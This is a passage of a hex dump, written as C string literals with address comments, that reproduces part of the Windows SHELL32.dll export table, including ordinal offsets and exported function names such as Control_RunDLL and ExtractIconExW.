*/   \"\\x9D\\x9B\\x02\\x00\\xAC\\x9B\\x02\\x00\\xBA\\x9B\\x02\\x00\\xC1\\x9B\\x02\\x00\"   //............Á...\n/* 7C9E9A50 */   \"\\xD4\\x9B\\x02\\x00\\xE1\\x9B\\x02\\x00\\xFF\\x9B\\x02\\x00\\x14\\x9C\\x02\\x00\"   //Ô...á...ÿ.......\n/* 7C9E9A70 */   \"\\x29\\x9C\\x02\\x00\\x3C\\x9C\\x02\\x00\\x50\\x9C\\x02\\x00\\x66\\x9C\\x02\\x00\"   //)...<...P...f...\n/* 7C9E9A90 */   \"\\x7C\\x9C\\x02\\x00\\x8A\\x9C\\x02\\x00\\x99\\x9C\\x02\\x00\\xA8\\x9C\\x02\\x00\"   //|...............\n/* 7C9E9AB0 */   \"\\xBC\\x9C\\x02\\x00\\xCD\\x9C\\x02\\x00\\xE7\\x9C\\x02\\x00\\x01\\x9D\\x02\\x00\"   //....Í...ç.......\n/* 7C9E9AD0 */   \"\\x12\\x9D\\x02\\x00\\x29\\x9D\\x02\\x00\\x40\\x9D\\x02\\x00\\x4F\\x9D\\x02\\x00\"   //....)...@...O...\n/* 7C9E9AF0 */   \"\\x65\\x9D\\x02\\x00\\x71\\x9D\\x02\\x00\\x82\\x9D\\x02\\x00\\x94\\x9D\\x02\\x00\"   //e...q...........\n/* 7C9E9B10 */   \"\\xA6\\x9D\\x02\\x00\\xBA\\x9D\\x02\\x00\\xCF\\x9D\\x02\\x00\\xE4\\x9D\\x02\\x00\"   //........Ï...ä...\n/* 7C9E9B30 */   \"\\xF1\\x9D\\x02\\x00\\x0F\\x9E\\x02\\x00\\x20\\x9E\\x02\\x00\\x2E\\x9E\\x02\\x00\"   //ñ...............\n/* 7C9E9B50 */   \"\\x47\\x9E\\x02\\x00\\x62\\x9E\\x02\\x00\\x7A\\x9E\\x02\\x00\\x92\\x9E\\x02\\x00\"   //G...b...z.......\n/* 7C9E9B70 */   \"\\xA8\\x9E\\x02\\x00\\xBC\\x9E\\x02\\x00\\xD3\\x9E\\x02\\x00\\xEB\\x9E\\x02\\x00\"   //........Ó...ë...\n/* 7C9E9B90 */   \"\\x03\\x9F\\x02\\x00\\x16\\x9F\\x02\\x00\\x2E\\x9F\\x02\\x00\\x46\\x9F\\x02\\x00\"   //............F...\n/* 7C9E9BB0 */   \"\\x5F\\x9F\\x02\\x00\\x70\\x9F\\x02\\x00\\x7D\\x9F\\x02\\x00\\xA3\\x9F\\x02\\x00\"   //_...p...}.......\n/* 7C9E9BD0 */   \"\\xAD\\x9F\\x02\\x00\\xBA\\x9F\\x02\\x00\\xDB\\x9F\\x02\\x00\\xFB\\x9F\\x02\\x00\"   //........Û...û...\n/* 7C9E9BF0 */   \"\\x11\\xA0\\x02\\x00\\x24\\xA0\\x02\\x00\\x3F\\xA0\\x02\\x00\\x50\\xA0\\x02\\x00\"   //....$...?...P...\n/* 7C9E9C10 */   \"\\x63\\xA0\\x02\\x00\\x7A\\xA0\\x02\\x00\\x91\\xA0\\x02\\x00\\xA1\\xA0\\x02\\x00\"   //c...z...........\n/* 7C9E9C30 */   \"\\xB7\\xA0\\x02\\x00\\xCE\\xA0\\x02\\x00\\xE1\\xA0\\x02\\x00\\xF4\\xA0\\x02\\x00\"   //....Î...á...ô...\n/* 7C9E9C50 */   \"\\x13\\xA1\\x02\\x00\\x20\\xA1\\x02\\x00\\x32\\xA1\\x02\\x00\\x48\\xA1\\x02\\x00\"   //........2...H...\n/* 7C9E9C70 */   \"\\x5B\\xA1\\x02\\x00\\x71\\xA1\\x02\\x00\\x8B\\xA1\\x02\\x00\\xA2\\xA1\\x02\\x00\"   //[...q...........\n/* 7C9E9C90 */   \"\\xBE\\xA1\\x02\\x00\\xD4\\xA1\\x02\\x00\\xE3\\xA1\\x02\\x00\\xF2\\xA1\\x02\\x00\"   //....Ô...ã...ò...\n/* 7C9E9CB0 */   \"\\x01\\xA2\\x02\\x00\\x18\\xA2\\x02\\x00\\x26\\xA2\\x02\\x00\\x34\\xA2\\x02\\x00\"   //........&...4...\n/* 7C9E9CD0 */   \"\\x44\\xA2\\x02\\x00\\x54\\xA2\\x02\\x00\\x62\\xA2\\x02\\x00\\x72\\xA2\\x02\\x00\"   //D...T...b...r...\n/* 7C9E9CF0 */   \"\\x7F\\xA2\\x02\\x00\\x8C\\xA2\\x02\\x00\\x9B\\xA2\\x02\\x00\\xA6\\xA2\\x02\\x00\"   //................\n/* 7C9E9D10 */   \"\\xB3\\xA2\\x02\\x00\\xBE\\xA2\\x02\\x00\\xD0\\xA2\\x02\\x00\\xE1\\xA2\\x02\\x00\"   //........Ð...á...\n/* 7C9E9D30 */   \"\\xF2\\xA2\\x02\\x00\\x01\\xA3\\x02\\x00\\x11\\xA3\\x02\\x00\\x21\\xA3\\x02\\x00\"   //ò...........!...\n/* 7C9E9D50 */   \"\\x2D\\xA3\\x02\\x00\\x39\\xA3\\x02\\x00\\x4A\\xA3\\x02\\x00\\x5C\\xA3\\x02\\x00\"   //-...9...J...\\...\n/* 7C9E9D70 */   \"\\x6E\\xA3\\x02\\x00\\x7C\\xA3\\x02\\x00\\x8B\\xA3\\x02\\x00\\x9B\\xA3\\x02\\x00\"   //n...|...........\n/* 7C9E9D90 */   \"\\xAB\\xA3\\x02\\x00\\xB9\\xA3\\x02\\x00\\xC7\\xA3\\x02\\x00\\xD8\\xA3\\x02\\x00\"   //........Ç...Ø...\n/* 7C9E9DB0 */   \"\\xE9\\xA3\\x02\\x00\\x03\\xA4\\x02\\x00\\x17\\xA4\\x02\\x00\\x28\\xA4\\x02\\x00\"   //é...........(...\n/* 7C9E9DD0 */   \"\\x39\\xA4\\x02\\x00\\x4B\\xA4\\x02\\x00\\x5D\\xA4\\x02\\x00\\x6C\\xA4\\x02\\x00\"   //9...K...]...l...\n/* 7C9E9DF0 */   \"\\x74\\xA4\\x02\\x00\\x7D\\xA4\\x02\\x00\\x86\\xA4\\x02\\x00\\x8E\\xA4\\x02\\x00\"   //t...}...........\n/* 7C9E9E10 */   \"\\x97\\xA4\\x02\\x00\\xA1\\xA4\\x02\\x00\\xAB\\xA4\\x02\\x00\\xB4\\xA4\\x02\\x00\"   //................\n/* 7C9E9E30 */   \"\\xBD\\xA4\\x02\\x00\\xC6\\xA4\\x02\\x00\\xCF\\xA4\\x02\\x00\\xD9\\xA4\\x02\\x00\"   //....Æ...Ï...Ù...\n/* 7C9E9E50 */   \"\\xE3\\xA4\\x02\\x00\\xEC\\xA4\\x02\\x00\\xF5\\xA4\\x02\\x00\\xFE\\xA4\\x02\\x00\"   //ã...ì...õ...þ...\n/* 7C9E9E70 */   \"\\x07\\xA5\\x02\\x00\\x11\\xA5\\x02\\x00\\x1B\\xA5\\x02\\x00\\x24\\xA5\\x02\\x00\"   //............$...\n/* 7C9E9E90 */   \"\\x2D\\xA5\\x02\\x00\\x37\\xA5\\x02\\x00\\x41\\xA5\\x02\\x00\\x4A\\xA5\\x02\\x00\"   //-...7...A...J...\n/* 7C9E9EB0 */   \"\\x52\\xA5\\x02\\x00\\x5B\\xA5\\x02\\x00\\x64\\xA5\\x02\\x00\\x6C\\xA5\\x02\\x00\"   //R...[...d...l...\n/* 7C9E9ED0 */   \"\\x7C\\xA5\\x02\\x00\\x8C\\xA5\\x02\\x00\\x66\\x00\\x67\\x00\\xBA\\x02\\xBB\\x02\"   //|.......f.g.....\n/* 7C9E9EF0 */   \"\\xA4\\x00\\x68\\x00\\x69\\x00\\x6A\\x00\\x6B\\x00\\x6C\\x00\\x6D\\x00\\x6E\\x00\"   //..h.i.j.k.l.m.n.\n/* 7C9E9F10 */   \"\\x6F\\x00\\x70\\x00\\x71\\x00\\x7F\\x00\\x81\\x00\\x14\\x00\\x82\\x00\\x84\\x00\"   //o.p.q...........\n/* 7C9E9F30 */   \"\\x86\\x00\\x87\\x00\\x72\\x00\\x73\\x00\\x74\\x00\\x76\\x00\\x7A\\x00\\x7B\\x00\"   //....r.s.t.v.z.{.\n/* 7C9E9F50 */   \"\\x83\\x00\\x85\\x00\\x88\\x00\\x89\\x00\\x8A\\x00\\x8B\\x00\\x8C\\x00\\x8D\\x00\"   //................\n/* 7C9E9F70 */   \"\\x8E\\x00\\x3E\\x00\\x94\\x00\\xC5\\x00\\xCC\\x00\\xCD\\x00\\xCE\\x00\\xD6\\x00\"   //..>...Å.Ì.Í.Î.Ö.\n/* 7C9E9F90 */   \"\\xD7\\x00\\xD8\\x00\\xD9\\x00\\xDA\\x00\\xDB\\x00\\xDC\\x00\\xDD\\x00\\xDE\\x00\"   //×.Ø.Ù.Ú.Û.Ü.Ý.Þ.\n/* 7C9E9FB0 */   \"\\xDF\\x00\\xE0\\x00\\xE1\\x00\\x3D\\x00\\x98\\x00\\x10\\x00\\x11\\x00\\x17\\x00\"   //ß.à.á.=.........\n/* 7C9E9FD0 */   \"\\x9B\\x00\\xBB\\x00\\xBC\\x00\\x16\\x00\\x0E\\x00\\x99\\x00\\x97\\x00\\x96\\x00\"   //................\n/* 7C9E9FF0 */   \"\\x13\\x00\\x15\\x00\\x18\\x00\\x0F\\x00\\x19\\x00\\xE2\\x00\\xE3\\x00\\x75\\x00\"   //..........â.ã.u.\n/* 7C9EA010 */   \"\\x27\\x00\\x28\\x00\\x40\\x00\\xA6\\x02\\x2A\\x00\\x4F\\x00\\x63\\x00\\x53\\x00\"   //'.(.@...*.O.c.S.\n/* 7C9EA030 */   \"\\xEC\\x00\\xFD\\x00\\x02\\x01\\xA9\\x00\\x5A\\x00\\x29\\x00\\xEE\\x00\\xED\\x00\"   //ì.ý.....Z.).î.í.\n/* 7C9EA050 */   \"\\x2D\\x00\\x8B\\x02\\x2F\\x00\\x31\\x00\\x49\\x00\\x3C\\x00\\x0B\\x00\\x08\\x00\"   //-.../.1.I.<.....\n/* 7C9EA070 */   \"\\x07\\x00\\x09\\x00\\x03\\x01\\x04\\x01\\x05\\x01\\x8C\\x02\\x0A\\x02\\x06\\x01\"   //................\n/* 7C9EA090 */   \"\\x07\\x01\\x08\\x01\\x09\\x01\\x0A\\x01\\x39\\x00\\xD8\\x02\\xA5\\x00\\x0B\\x01\"   //........9.Ø.....\n/* 7C9EA0B0 */   \"\\xC2\\x00\\x06\\x02\\x0C\\x01\\x0D\\x01\\x0E\\x01\\x0F\\x01\\x10\\x01\\x91\\x00\"   //Â...............\n/* 7C9EA0D0 */   \"\\x82\\x02\\x83\\x02\\x11\\x01\\x02\\x00\\x00\\x00\\x12\\x01\\x57\\x00\\x64\\x00\"   //............W.d.\n/* 7C9EA0F0 */   \"\\xA3\\x00\\x13\\x01\\x14\\x01\\xE5\\x02\\x15\\x01\\x16\\x01\\xA6\\x00\\x17\\x01\"   //......å.........\n/* 7C9EA110 */   \"\\xFE\\x00\\xAC\\x00\\x18\\x01\\x48\\x00\\x01\\x00\\x04\\x00\\xA7\\x00\\x56\\x00\"   //þ.....H.......V.\n/* 7C9EA130 */   \"\\x19\\x01\\x1A\\x01\\x1B\\x01\\x1C\\x01\\x1D\\x01\\x1E\\x01\\x1F\\x01\\x20\\x01\"   //................\n/* 7C9EA150 */   \"\\x58\\x00\\x93\\x00\\x77\\x00\\x0C\\x02\\x21\\x01\\xC1\\x00\\x22\\x01\\x09\\x02\"   //X...w...!.Á.\"...\n/* 7C9EA170 */   \"\\xEC\\x02\\x23\\x01\\x24\\x01\\x25\\x01\\x26\\x01\\x27\\x01\\x28\\x01\\x29\\x01\"   //ì.#.$.%.&.'.(.).\n/* 7C9EA190 */   \"\\x2A\\x01\\x2B\\x01\\x2C\\x01\\x2D\\x01\\x2E\\x01\\x2F\\x01\\x30\\x01\\x31\\x01\"   //*.+.,.-.../.0.1.\n/* 7C9EA1B0 */   \"\\x32\\x01\\xD5\\x02\\x33\\x01\\x34\\x01\\x35\\x01\\xB1\\x00\\xB2\\x00\\x36\\x01\"   //2.Õ.3.4.5.....6.\n/* 7C9EA1D0 */   \"\\x37\\x01\\x38\\x01\\x60\\x00\\xC3\\x02\\x42\\x00\\x39\\x01\\xEB\\x02\\x3A\\x01\"   //7.8.`.Ã.B.9.ë.:.\n/* 7C9EA1F0 */   \"\\x3B\\x01\\x3C\\x01\\x3D\\x01\\xBF\\x00\\x3E\\x01\\x3F\\x01\\x40\\x01\\x1A\\x00\"   //;.<.=...>.?.@...\n/* 7C9EA210 */   \"\\x41\\x01\\x42\\x01\\x43\\x01\\xE9\\x02\\x44\\x01\\x45\\x01\\x95\\x00\\x07\\x02\"   //A.B.C.é.D.E.....\n/* 7C9EA230 */   \"\\x92\\x00\\x4B\\x00\\xCA\\x02\\xB0\\x00\\x46\\x01\\x4E\\x00\\x47\\x01\\x48\\x01\"   //..K.Ê...F.N.G.H.\n/* 7C9EA250 */   \"\\x49\\x01\\xAB\\x02\\xAE\\x02\\xAF\\x02\\x4A\\x01\\x4B\\x01\\xA8\\x00\\x62\\x00\"   //I.......J.K...b.\n/* 7C9EA270 */   \"\\x9F\\x00\\xAE\\x00\\x4C\\x01\\x4D\\x01\\x47\\x00\\xA0\\x00\\x0C\\x00\\xF3\\x00\"   //....L.M.G.....ó.\n/* 7C9EA290 */   \"\\x08\\x02\\xBD\\x00\\xBE\\x00\\x4E\\x01\\xAB\\x00\\x4F\\x01\\x50\\x01\\x51\\x01\"   //......N...O.P.Q.\n/* 7C9EA2B0 */   \"\\x52\\x01\\x53\\x01\\x54\\x01\\x55\\x01\\x56\\x01\\x57\\x01\\x58\\x01\\x59\\x01\"   //R.S.T.U.V.W.X.Y.\n/* 7C9EA2D0 */   \"\\x5A\\x01\\x5B\\x01\\x5C\\x01\\x5D\\x01\\x5E\\x01\\x5F\\x01\\x60\\x01\\x61\\x01\"   //Z.[.\\.].^._.`.a.\n/* 7C9EA2F0 */   \"\\x62\\x01\\x63\\x01\\x64\\x01\\x65\\x01\\x66\\x01\\x67\\x01\\x68\\x01\\x69\\x01\"   //b.c.d.e.f.g.h.i.\n/* 7C9EA310 */   \"\\x6A\\x01\\xB5\\x00\\xB4\\x00\\x46\\x00\\x45\\x00\\x41\\x00\\x6B\\x01\\x6C\\x01\"   //j.....F.E.A.k.l.\n/* 7C9EA330 */   \"\\x6D\\x01\\x65\\x00\\x6E\\x01\\x6F\\x01\\x70\\x01\\x71\\x01\\x72\\x01\\x73\\x01\"   //m.e.n.o.p.q.r.s.\n/* 7C9EA350 */   \"\\x74\\x01\\x75\\x01\\x76\\x01\\x77\\x01\\x78\\x01\\x79\\x01\\x7A\\x01\\x7B\\x01\"   //t.u.v.w.x.y.z.{.\n/* 7C9EA370 */   \"\\x7C\\x01\\x7D\\x01\\x7E\\x01\\x7F\\x01\\x80\\x01\\x81\\x01\\x82\\x01\\x83\\x01\"   //|.}.~...........\n/* 7C9EA390 */   \"\\x84\\x01\\x85\\x01\\x86\\x01\\x87\\x01\\x88\\x01\\x89\\x01\\x8A\\x01\\xA2\\x00\"   //................\n/* 7C9EA3B0 */   \"\\x8A\\x02\\x53\\x48\\x45\\x4C\\x4C\\x33\\x32\\x2E\\x64\\x6C\\x6C\\x00\\x41\\x63\"   //..SHELL32.dll.Ac\n/* 7C9EA3D0 */   \"\\x74\\x69\\x76\\x61\\x74\\x65\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x00\\x41\\x70\"   //tivate_RunDLL.Ap\n/* 7C9EA3F0 */   \"\\x70\\x43\\x6F\\x6D\\x70\\x61\\x74\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x57\\x00\"   //pCompat_RunDLLW.\n/* 7C9EA410 */   \"\\x43\\x44\\x65\\x66\\x46\\x6F\\x6C\\x64\\x65\\x72\\x4D\\x65\\x6E\\x75\\x5F\\x43\"   //CDefFolderMenu_C\n/* 7C9EA430 */   \"\\x72\\x65\\x61\\x74\\x65\\x00\\x43\\x44\\x65\\x66\\x46\\x6F\\x6C\\x64\\x65\\x72\"   //reate.CDefFolder\n/* 7C9EA450 */   \"\\x4D\\x65\\x6E\\x75\\x5F\\x43\\x72\\x65\\x61\\x74\\x65\\x32\\x00\\x43\\x61\\x6C\"   //Menu_Create2.Cal\n/* 7C9EA470 */   \"\\x6C\\x43\\x50\\x4C\\x45\\x6E\\x74\\x72\\x79\\x31\\x36\\x00\\x43\\x68\\x65\\x63\"   //lCPLEntry16.Chec\n/* 7C9EA490 */   \"\\x6B\\x45\\x73\\x63\\x61\\x70\\x65\\x73\\x41\\x00\\x43\\x68\\x65\\x63\\x6B\\x45\"   //kEscapesA.CheckE\n/* 7C9EA4B0 */   \"\\x73\\x63\\x61\\x70\\x65\\x73\\x57\\x00\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x4C\"   //scapesW.CommandL\n/* 7C9EA4D0 */   \"\\x69\\x6E\\x65\\x54\\x6F\\x41\\x72\\x67\\x76\\x57\\x00\\x43\\x6F\\x6E\\x74\\x72\"   //ineToArgvW.Contr\n/* 7C9EA4F0 */   \"\\x6F\\x6C\\x5F\\x46\\x69\\x6C\\x6C\\x43\\x61\\x63\\x68\\x65\\x5F\\x52\\x75\\x6E\"   //ol_FillCache_Run\n/* 7C9EA510 */   \"\\x44\\x4C\\x4C\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x5F\\x46\\x69\\x6C\\x6C\"   //DLL.Control_Fill\n/* 7C9EA530 */   \"\\x43\\x61\\x63\\x68\\x65\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x41\\x00\\x43\\x6F\"   //Cache_RunDLLA.Co\n/* 7C9EA550 */   \"\\x6E\\x74\\x72\\x6F\\x6C\\x5F\\x46\\x69\\x6C\\x6C\\x43\\x61\\x63\\x68\\x65\\x5F\"   //ntrol_FillCache_\n/* 7C9EA570 */   \"\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x57\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x5F\"   //RunDLLW.Control_\n/* 7C9EA590 */   \"\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x5F\\x52\"   //RunDLL.Control_R\n/* 7C9EA5B0 */   \"\\x75\\x6E\\x44\\x4C\\x4C\\x41\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x5F\\x52\"   //unDLLA.Control_R\n/* 7C9EA5D0 */   \"\\x75\\x6E\\x44\\x4C\\x4C\\x41\\x73\\x55\\x73\\x65\\x72\\x57\\x00\\x43\\x6F\\x6E\"   //unDLLAsUserW.Con\n/* 7C9EA5F0 */   \"\\x74\\x72\\x6F\\x6C\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x57\\x00\\x44\\x41\\x44\"   //trol_RunDLLW.DAD\n/* 7C9EA610 */   \"\\x5F\\x41\\x75\\x74\\x6F\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x00\\x44\\x41\\x44\\x5F\"   //_AutoScroll.DAD_\n/* 7C9EA630 */   \"\\x44\\x72\\x61\\x67\\x45\\x6E\\x74\\x65\\x72\\x45\\x78\\x00\\x44\\x41\\x44\\x5F\"   //DragEnterEx.DAD_\n/* 7C9EA650 */   \"\\x44\\x72\\x61\\x67\\x45\\x6E\\x74\\x65\\x72\\x45\\x78\\x32\\x00\\x44\\x41\\x44\"   //DragEnterEx2.DAD\n/* 7C9EA670 */   \"\\x5F\\x44\\x72\\x61\\x67\\x4C\\x65\\x61\\x76\\x65\\x00\\x44\\x41\\x44\\x5F\\x44\"   //_DragLeave.DAD_D\n/* 7C9EA690 */   \"\\x72\\x61\\x67\\x4D\\x6F\\x76\\x65\\x00\\x44\\x41\\x44\\x5F\\x53\\x65\\x74\\x44\"   //ragMove.DAD_SetD\n/* 7C9EA6B0 */   \"\\x72\\x61\\x67\\x49\\x6D\\x61\\x67\\x65\\x00\\x44\\x41\\x44\\x5F\\x53\\x68\\x6F\"   //ragImage.DAD_Sho\n/* 7C9EA6D0 */   \"\\x77\\x44\\x72\\x61\\x67\\x49\\x6D\\x61\\x67\\x65\\x00\\x44\\x6C\\x6C\\x43\\x61\"   //wDragImage.DllCa\n/* 7C9EA6F0 */   \"\\x6E\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x4E\\x6F\\x77\\x00\\x44\\x6C\\x6C\\x47\\x65\"   //nUnloadNow.DllGe\n/* 7C9EA710 */   \"\\x74\\x43\\x6C\\x61\\x73\\x73\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x44\\x6C\\x6C\"   //tClassObject.Dll\n/* 7C9EA730 */   \"\\x47\\x65\\x74\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x00\\x44\\x6C\\x6C\\x49\\x6E\"   //GetVersion.DllIn\n/* 7C9EA750 */   \"\\x73\\x74\\x61\\x6C\\x6C\\x00\\x44\\x6C\\x6C\\x52\\x65\\x67\\x69\\x73\\x74\\x65\"   //stall.DllRegiste\n/* 7C9EA770 */   \"\\x72\\x53\\x65\\x72\\x76\\x65\\x72\\x00\\x44\\x6C\\x6C\\x55\\x6E\\x72\\x65\\x67\"   //rServer.DllUnreg\n/* 7C9EA790 */   \"\\x69\\x73\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x65\\x72\\x00\\x44\\x6F\\x45\\x6E\"   //isterServer.DoEn\n/* 7C9EA7B0 */   \"\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x53\\x75\\x62\\x73\\x74\\x41\\x00\"   //vironmentSubstA.\n/* 7C9EA7D0 */   \"\\x44\\x6F\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x53\\x75\\x62\"   //DoEnvironmentSub\n/* 7C9EA7F0 */   \"\\x73\\x74\\x57\\x00\\x44\\x72\\x61\\x67\\x41\\x63\\x63\\x65\\x70\\x74\\x46\\x69\"   //stW.DragAcceptFi\n/* 7C9EA810 */   \"\\x6C\\x65\\x73\\x00\\x44\\x72\\x61\\x67\\x46\\x69\\x6E\\x69\\x73\\x68\\x00\\x44\"   //les.DragFinish.D\n/* 7C9EA830 */   \"\\x72\\x61\\x67\\x51\\x75\\x65\\x72\\x79\\x46\\x69\\x6C\\x65\\x00\\x44\\x72\\x61\"   //ragQueryFile.Dra\n/* 7C9EA850 */   \"\\x67\\x51\\x75\\x65\\x72\\x79\\x46\\x69\\x6C\\x65\\x41\\x00\\x44\\x72\\x61\\x67\"   //gQueryFileA.Drag\n/* 7C9EA870 */   \"\\x51\\x75\\x65\\x72\\x79\\x46\\x69\\x6C\\x65\\x41\\x6F\\x72\\x57\\x00\\x44\\x72\"   //QueryFileAorW.Dr\n/* 7C9EA890 */   \"\\x61\\x67\\x51\\x75\\x65\\x72\\x79\\x46\\x69\\x6C\\x65\\x57\\x00\\x44\\x72\\x61\"   //agQueryFileW.Dra\n/* 7C9EA8B0 */   \"\\x67\\x51\\x75\\x65\\x72\\x79\\x50\\x6F\\x69\\x6E\\x74\\x00\\x44\\x72\\x69\\x76\"   //gQueryPoint.Driv\n/* 7C9EA8D0 */   \"\\x65\\x54\\x79\\x70\\x65\\x00\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x49\"   //eType.DuplicateI\n/* 7C9EA8F0 */   \"\\x63\\x6F\\x6E\\x00\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x41\\x73\\x73\\x6F\\x63\"   //con.ExtractAssoc\n/* 7C9EA910 */   \"\\x69\\x61\\x74\\x65\\x64\\x49\\x63\\x6F\\x6E\\x41\\x00\\x45\\x78\\x74\\x72\\x61\"   //iatedIconA.Extra\n/* 7C9EA930 */   \"\\x63\\x74\\x41\\x73\\x73\\x6F\\x63\\x69\\x61\\x74\\x65\\x64\\x49\\x63\\x6F\\x6E\"   //ctAssociatedIcon\n/* 7C9EA950 */   \"\\x45\\x78\\x41\\x00\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x41\\x73\\x73\\x6F\\x63\"   //ExA.ExtractAssoc\n/* 7C9EA970 */   \"\\x69\\x61\\x74\\x65\\x64\\x49\\x63\\x6F\\x6E\\x45\\x78\\x57\\x00\\x45\\x78\\x74\"   //iatedIconExW.Ext\n/* 7C9EA990 */   \"\\x72\\x61\\x63\\x74\\x41\\x73\\x73\\x6F\\x63\\x69\\x61\\x74\\x65\\x64\\x49\\x63\"   //ractAssociatedIc\n/* 7C9EA9B0 */   \"\\x6F\\x6E\\x57\\x00\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x41\"   //onW.ExtractIconA\n/* 7C9EA9D0 */   \"\\x00\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x45\\x78\\x00\\x45\"   //.ExtractIconEx.E\n/* 7C9EA9F0 */   \"\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x45\\x78\\x41\\x00\\x45\\x78\"   //xtractIconExA.Ex\n/* 7C9EAA10 */   \"\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x45\\x78\\x57\\x00\\x45\\x78\\x74\"   //tractIconExW.Ext\n/* 7C9EAA30 */   \"\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x52\\x65\\x73\\x49\\x6E\\x66\\x6F\\x41\"   //ractIconResInfoA\n/* 7C9EAA50 */   \"\\x00\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x52\\x65\\x73\\x49\"   //.ExtractIconResI\n/* 7C9EAA70 */   \"\\x6E\\x66\\x6F\\x57\\x00\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\"   //nfoW.ExtractIcon\n/* 7C9EAA90 */   \"\\x57\\x00\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\"   //W.ExtractVersion\n/* 7C9EAAB0 */   \"\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x31\\x36\\x57\\x00\\x46\\x69\\x6E\\x64\"   //Resource16W.Find\n/* 7C9EAAD0 */   \"\\x45\\x78\\x65\\x44\\x6C\\x67\\x50\\x72\\x6F\\x63\\x00\\x46\\x69\\x6E\\x64\\x45\"   //ExeDlgProc.FindE\n/* 7C9EAAF0 */   \"\\x78\\x65\\x63\\x75\\x74\\x61\\x62\\x6C\\x65\\x41\\x00\\x46\\x69\\x6E\\x64\\x45\"   //xecutableA.FindE\n/* 7C9EAB10 */   \"\\x78\\x65\\x63\\x75\\x74\\x61\\x62\\x6C\\x65\\x57\\x00\\x46\\x72\\x65\\x65\\x49\"   //xecutableW.FreeI\n/* 7C9EAB30 */   \"\\x63\\x6F\\x6E\\x4C\\x69\\x73\\x74\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x4E\"   //conList.GetFileN\n/* 7C9EAB50 */   \"\\x61\\x6D\\x65\\x46\\x72\\x6F\\x6D\\x42\\x72\\x6F\\x77\\x73\\x65\\x00\\x49\\x4C\"   //ameFromBrowse.IL\n/* 7C9EAB70 */   \"\\x41\\x70\\x70\\x65\\x6E\\x64\\x49\\x44\\x00\\x49\\x4C\\x43\\x6C\\x6F\\x6E\\x65\"   //AppendID.ILClone\n/* 7C9EAB90 */   \"\\x00\\x49\\x4C\\x43\\x6C\\x6F\\x6E\\x65\\x46\\x69\\x72\\x73\\x74\\x00\\x49\\x4C\"   //.ILCloneFirst.IL\n/* 7C9EABB0 */   \"\\x43\\x6F\\x6D\\x62\\x69\\x6E\\x65\\x00\\x49\\x4C\\x43\\x72\\x65\\x61\\x74\\x65\"   //Combine.ILCreate\n/* 7C9EABD0 */   \"\\x46\\x72\\x6F\\x6D\\x50\\x61\\x74\\x68\\x00\\x49\\x4C\\x43\\x72\\x65\\x61\\x74\"   //FromPath.ILCreat\n/* 7C9EABF0 */   \"\\x65\\x46\\x72\\x6F\\x6D\\x50\\x61\\x74\\x68\\x41\\x00\\x49\\x4C\\x43\\x72\\x65\"   //eFromPathA.ILCre\n/* 7C9EAC10 */   \"\\x61\\x74\\x65\\x46\\x72\\x6F\\x6D\\x50\\x61\\x74\\x68\\x57\\x00\\x49\\x4C\\x46\"   //ateFromPathW.ILF\n/* 7C9EAC30 */   \"\\x69\\x6E\\x64\\x43\\x68\\x69\\x6C\\x64\\x00\\x49\\x4C\\x46\\x69\\x6E\\x64\\x4C\"   //indChild.ILFindL\n/* 7C9EAC50 */   \"\\x61\\x73\\x74\\x49\\x44\\x00\\x49\\x4C\\x46\\x72\\x65\\x65\\x00\\x49\\x4C\\x47\"   //astID.ILFree.ILG\n/* 7C9EAC70 */   \"\\x65\\x74\\x4E\\x65\\x78\\x74\\x00\\x49\\x4C\\x47\\x65\\x74\\x53\\x69\\x7A\\x65\"   //etNext.ILGetSize\n/* 7C9EAC90 */   \"\\x00\\x49\\x4C\\x49\\x73\\x45\\x71\\x75\\x61\\x6C\\x00\\x49\\x4C\\x49\\x73\\x50\"   //.ILIsEqual.ILIsP\n/* 7C9EACB0 */   \"\\x61\\x72\\x65\\x6E\\x74\\x00\\x49\\x4C\\x4C\\x6F\\x61\\x64\\x46\\x72\\x6F\\x6D\"   //arent.ILLoadFrom\n/* 7C9EACD0 */   \"\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\\x49\\x4C\\x52\\x65\\x6D\\x6F\\x76\\x65\\x4C\"   //Stream.ILRemoveL\n/* 7C9EACF0 */   \"\\x61\\x73\\x74\\x49\\x44\\x00\\x49\\x4C\\x53\\x61\\x76\\x65\\x54\\x6F\\x53\\x74\"   //astID.ILSaveToSt\n/* 7C9EAD10 */   